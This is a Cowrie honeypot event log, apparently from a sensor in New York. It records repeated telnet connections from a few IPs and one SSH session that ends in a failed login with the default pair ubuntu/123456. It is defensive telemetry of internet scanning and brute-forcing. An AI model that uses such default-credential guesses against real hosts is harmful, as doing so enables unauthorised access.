{"eventid":"cowrie.session.closed","duration":30.539690256118774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:32.142256Z","src_ip":"152.53.125.71","session":"1f5e0fe68bf1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63516092300415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:32.158134Z","src_ip":"37.97.152.182","session":"cafd9b42348c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":36222,"dst_ip":"10.17.0.5","dst_port":23,"session":"3463035109d3","protocol":"telnet","message":"New connection: 152.53.125.71:36222 (10.17.0.5:23) [session: 3463035109d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:32.271809Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":36226,"dst_ip":"10.17.0.5","dst_port":23,"session":"35adffaf8a13","protocol":"telnet","message":"New connection: 152.53.125.71:36226 (10.17.0.5:23) [session: 35adffaf8a13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:32.326522Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":36234,"dst_ip":"10.17.0.5","dst_port":23,"session":"64bcce9a384c","protocol":"telnet","message":"New connection: 152.53.125.71:36234 (10.17.0.5:23) [session: 64bcce9a384c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:32.458249Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":36238,"dst_ip":"10.17.0.5","dst_port":23,"session":"d60e96fa2efa","protocol":"telnet","message":"New connection: 152.53.125.71:36238 (10.17.0.5:23) [session: d60e96fa2efa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:32.632301Z"}
{"eventid":"cowrie.session.closed","duration":48.03990030288696,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:32.707662Z","src_ip":"159.203.13.64","session":"b98b2475fb5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.58348202705383,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:33.196123Z","src_ip":"159.203.13.64","session":"224f1cbea28f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.318520069122314,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:33.471802Z","src_ip":"80.252.221.197","session":"5142baa0be11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":46740,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d6ac3c562ee","protocol":"telnet","message":"New connection: 159.203.13.64:46740 (10.17.0.5:23) [session: 2d6ac3c562ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:33.605257Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":36242,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ce25173a7c5","protocol":"telnet","message":"New connection: 152.53.125.71:36242 (10.17.0.5:23) [session: 1ce25173a7c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:34.243389Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":46798,"dst_ip":"10.17.0.5","dst_port":23,"session":"90741e0c2646","protocol":"telnet","message":"New connection: 152.53.125.71:46798 (10.17.0.5:23) [session: 90741e0c2646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:35.285541Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":46802,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fe48cf99c5a","protocol":"telnet","message":"New connection: 152.53.125.71:46802 (10.17.0.5:23) [session: 4fe48cf99c5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:35.298153Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":46812,"dst_ip":"10.17.0.5","dst_port":23,"session":"59be32cec7ef","protocol":"telnet","message":"New connection: 152.53.125.71:46812 (10.17.0.5:23) [session: 59be32cec7ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:35.484677Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":38616,"dst_ip":"159.203.135.109","dst_port":22,"session":"d80f0f8473ef","protocol":"ssh","message":"New connection: 186.13.24.118:38616 (159.203.135.109:22) [session: d80f0f8473ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:35.600621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:35.606159Z","src_ip":"186.13.24.118","session":"d80f0f8473ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":46824,"dst_ip":"10.17.0.5","dst_port":23,"session":"9966836603c7","protocol":"telnet","message":"New connection: 152.53.125.71:46824 (10.17.0.5:23) [session: 9966836603c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:35.671534Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":55502,"dst_ip":"10.17.0.5","dst_port":23,"session":"5959aaa5ade7","protocol":"telnet","message":"New connection: 37.97.152.182:55502 (10.17.0.5:23) [session: 5959aaa5ade7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:35.750570Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:35.774189Z","src_ip":"186.13.24.118","session":"d80f0f8473ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":46838,"dst_ip":"10.17.0.5","dst_port":23,"session":"be9e0f8476b5","protocol":"telnet","message":"New connection: 152.53.125.71:46838 (10.17.0.5:23) [session: be9e0f8476b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:36.271685Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":46840,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbac491beff8","protocol":"telnet","message":"New connection: 152.53.125.71:46840 (10.17.0.5:23) [session: dbac491beff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:36.430794Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:36.472341Z","src_ip":"186.13.24.118","session":"d80f0f8473ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":46854,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d6a95fc16fc","protocol":"telnet","message":"New connection: 152.53.125.71:46854 (10.17.0.5:23) [session: 4d6a95fc16fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:36.547834Z"}
{"eventid":"cowrie.session.closed","duration":41.87961173057556,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:36.569543Z","src_ip":"159.203.13.64","session":"41c7f0ed780c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":46866,"dst_ip":"10.17.0.5","dst_port":23,"session":"43b92bac7fed","protocol":"telnet","message":"New connection: 152.53.125.71:46866 (10.17.0.5:23) [session: 43b92bac7fed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:37.523121Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:37.642268Z","src_ip":"186.13.24.118","session":"d80f0f8473ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.546453714370728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:38.092504Z","src_ip":"152.53.125.71","session":"013a3072fa81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":46868,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f637ddc23f9","protocol":"telnet","message":"New connection: 152.53.125.71:46868 (10.17.0.5:23) [session: 9f637ddc23f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:38.234383Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":46876,"dst_ip":"10.17.0.5","dst_port":23,"session":"d31754777a1b","protocol":"telnet","message":"New connection: 152.53.125.71:46876 (10.17.0.5:23) [session: d31754777a1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:38.468908Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":46890,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4895d755237","protocol":"telnet","message":"New connection: 152.53.125.71:46890 (10.17.0.5:23) [session: c4895d755237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:38.571956Z"}
{"eventid":"cowrie.session.closed","duration":30.736759901046753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:39.308816Z","src_ip":"152.53.125.71","session":"ae437072fec5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":56732,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a0fa8085dd9","protocol":"telnet","message":"New connection: 37.97.152.182:56732 (10.17.0.5:23) [session: 3a0fa8085dd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:39.314111Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":46900,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f01702580db","protocol":"telnet","message":"New connection: 152.53.125.71:46900 (10.17.0.5:23) [session: 4f01702580db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:39.642564Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":46914,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f64e7a076fd","protocol":"telnet","message":"New connection: 152.53.125.71:46914 (10.17.0.5:23) [session: 5f64e7a076fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:40.277787Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":46928,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a5680f9bdce","protocol":"telnet","message":"New connection: 152.53.125.71:46928 (10.17.0.5:23) [session: 1a5680f9bdce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:40.420991Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":46938,"dst_ip":"10.17.0.5","dst_port":23,"session":"203496c51c24","protocol":"telnet","message":"New connection: 152.53.125.71:46938 (10.17.0.5:23) [session: 203496c51c24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:40.434034Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":46942,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3e668ef5a08","protocol":"telnet","message":"New connection: 152.53.125.71:46942 (10.17.0.5:23) [session: a3e668ef5a08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:40.564536Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":46950,"dst_ip":"10.17.0.5","dst_port":23,"session":"59216cc0397b","protocol":"telnet","message":"New connection: 152.53.125.71:46950 (10.17.0.5:23) [session: 59216cc0397b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:40.998930Z"}
{"eventid":"cowrie.session.closed","duration":30.46883225440979,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:41.051564Z","src_ip":"152.53.125.71","session":"0499311609d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.675471305847168,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:41.253484Z","src_ip":"152.53.125.71","session":"3ac91431f102","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03473401069641,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:41.266661Z","src_ip":"152.53.125.71","session":"1fcdcfa24e31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":46960,"dst_ip":"10.17.0.5","dst_port":23,"session":"61355b552dc4","protocol":"telnet","message":"New connection: 152.53.125.71:46960 (10.17.0.5:23) [session: 61355b552dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:41.271378Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":46974,"dst_ip":"10.17.0.5","dst_port":23,"session":"a19f420ff66c","protocol":"telnet","message":"New connection: 152.53.125.71:46974 (10.17.0.5:23) [session: a19f420ff66c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:41.395031Z"}
{"eventid":"cowrie.session.closed","duration":31.113429069519043,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:41.569420Z","src_ip":"152.53.125.71","session":"664f75b16343","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":46990,"dst_ip":"10.17.0.5","dst_port":23,"session":"d46a512bb392","protocol":"telnet","message":"New connection: 152.53.125.71:46990 (10.17.0.5:23) [session: d46a512bb392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:42.322057Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":46992,"dst_ip":"10.17.0.5","dst_port":23,"session":"411b32ab83b6","protocol":"telnet","message":"New connection: 152.53.125.71:46992 (10.17.0.5:23) [session: 411b32ab83b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:42.327894Z"}
{"eventid":"cowrie.session.closed","duration":30.819963216781616,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:42.459976Z","src_ip":"152.53.125.71","session":"158262cca599","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.670459985733032,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:43.067106Z","src_ip":"152.53.125.71","session":"d8dcd778e4cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":46996,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b31c5a21544","protocol":"telnet","message":"New connection: 152.53.125.71:46996 (10.17.0.5:23) [session: 6b31c5a21544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:43.214988Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":47004,"dst_ip":"10.17.0.5","dst_port":23,"session":"74f340fc5642","protocol":"telnet","message":"New connection: 152.53.125.71:47004 (10.17.0.5:23) [session: 74f340fc5642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:43.333834Z"}
{"eventid":"cowrie.session.closed","duration":31.052376985549927,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:43.455281Z","src_ip":"152.53.125.71","session":"e4787c724625","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":47006,"dst_ip":"10.17.0.5","dst_port":23,"session":"66c6a591dfc8","protocol":"telnet","message":"New connection: 152.53.125.71:47006 (10.17.0.5:23) [session: 66c6a591dfc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:43.743035Z"}
{"eventid":"cowrie.session.closed","duration":30.655910968780518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:44.165576Z","src_ip":"37.97.152.182","session":"0f9ad02eaded","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.55670118331909,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:44.223871Z","src_ip":"159.203.13.64","session":"b42b5a1ae3f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76631498336792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:44.240080Z","src_ip":"152.53.125.71","session":"ce6490958dd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.001469373703003,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:44.357836Z","src_ip":"152.53.125.71","session":"39e2c9aff39a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":47016,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9a8e81a2dff","protocol":"telnet","message":"New connection: 152.53.125.71:47016 (10.17.0.5:23) [session: a9a8e81a2dff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:44.424352Z"}
{"eventid":"cowrie.session.closed","duration":31.061180114746094,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:44.465052Z","src_ip":"152.53.125.71","session":"d596f2e18bf8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":47018,"dst_ip":"10.17.0.5","dst_port":23,"session":"84b5157282e2","protocol":"telnet","message":"New connection: 152.53.125.71:47018 (10.17.0.5:23) [session: 84b5157282e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:44.470158Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":58838,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ccecadef3de","protocol":"telnet","message":"New connection: 37.97.152.182:58838 (10.17.0.5:23) [session: 3ccecadef3de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:44.531773Z"}
{"eventid":"cowrie.session.closed","duration":30.709882736206055,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:45.208524Z","src_ip":"152.53.125.71","session":"6b20bc402871","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.937045574188232,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:45.419932Z","src_ip":"152.53.125.71","session":"b3e67f07950d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":53708,"dst_ip":"10.17.0.5","dst_port":23,"session":"469d27d43724","protocol":"telnet","message":"New connection: 152.53.125.71:53708 (10.17.0.5:23) [session: 469d27d43724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:46.214731Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":53710,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddf4c5b9e23c","protocol":"telnet","message":"New connection: 152.53.125.71:53710 (10.17.0.5:23) [session: ddf4c5b9e23c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:46.316240Z"}
{"eventid":"cowrie.session.closed","duration":31.03726816177368,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:46.342145Z","src_ip":"152.53.125.71","session":"6c31887716f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":53714,"dst_ip":"10.17.0.5","dst_port":23,"session":"a93395430ed7","protocol":"telnet","message":"New connection: 152.53.125.71:53714 (10.17.0.5:23) [session: a93395430ed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:46.347135Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":53718,"dst_ip":"10.17.0.5","dst_port":23,"session":"f68347377ca0","protocol":"telnet","message":"New connection: 152.53.125.71:53718 (10.17.0.5:23) [session: f68347377ca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:46.609036Z"}
{"eventid":"cowrie.session.closed","duration":30.817063331604004,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:47.149659Z","src_ip":"152.53.125.71","session":"a54a493b0990","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":53734,"dst_ip":"10.17.0.5","dst_port":23,"session":"9897a642ce79","protocol":"telnet","message":"New connection: 152.53.125.71:53734 (10.17.0.5:23) [session: 9897a642ce79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:47.222878Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":53742,"dst_ip":"10.17.0.5","dst_port":23,"session":"f687149c5c2f","protocol":"telnet","message":"New connection: 152.53.125.71:53742 (10.17.0.5:23) [session: f687149c5c2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:47.229816Z"}
{"eventid":"cowrie.session.closed","duration":30.977508544921875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:47.246551Z","src_ip":"152.53.125.71","session":"8d8814b9a756","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":53746,"dst_ip":"10.17.0.5","dst_port":23,"session":"95feada99831","protocol":"telnet","message":"New connection: 152.53.125.71:53746 (10.17.0.5:23) [session: 95feada99831]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:47.542854Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":53748,"dst_ip":"10.17.0.5","dst_port":23,"session":"093d92ae641c","protocol":"telnet","message":"New connection: 152.53.125.71:53748 (10.17.0.5:23) [session: 093d92ae641c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:48.242455Z"}
{"eventid":"cowrie.session.closed","duration":31.06056785583496,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:48.298933Z","src_ip":"152.53.125.71","session":"8f4f0c4550a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.126802682876587,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:08:48.348213Z","src_ip":"152.53.125.71","session":"721914a40f4a","protocol":"telnet"}
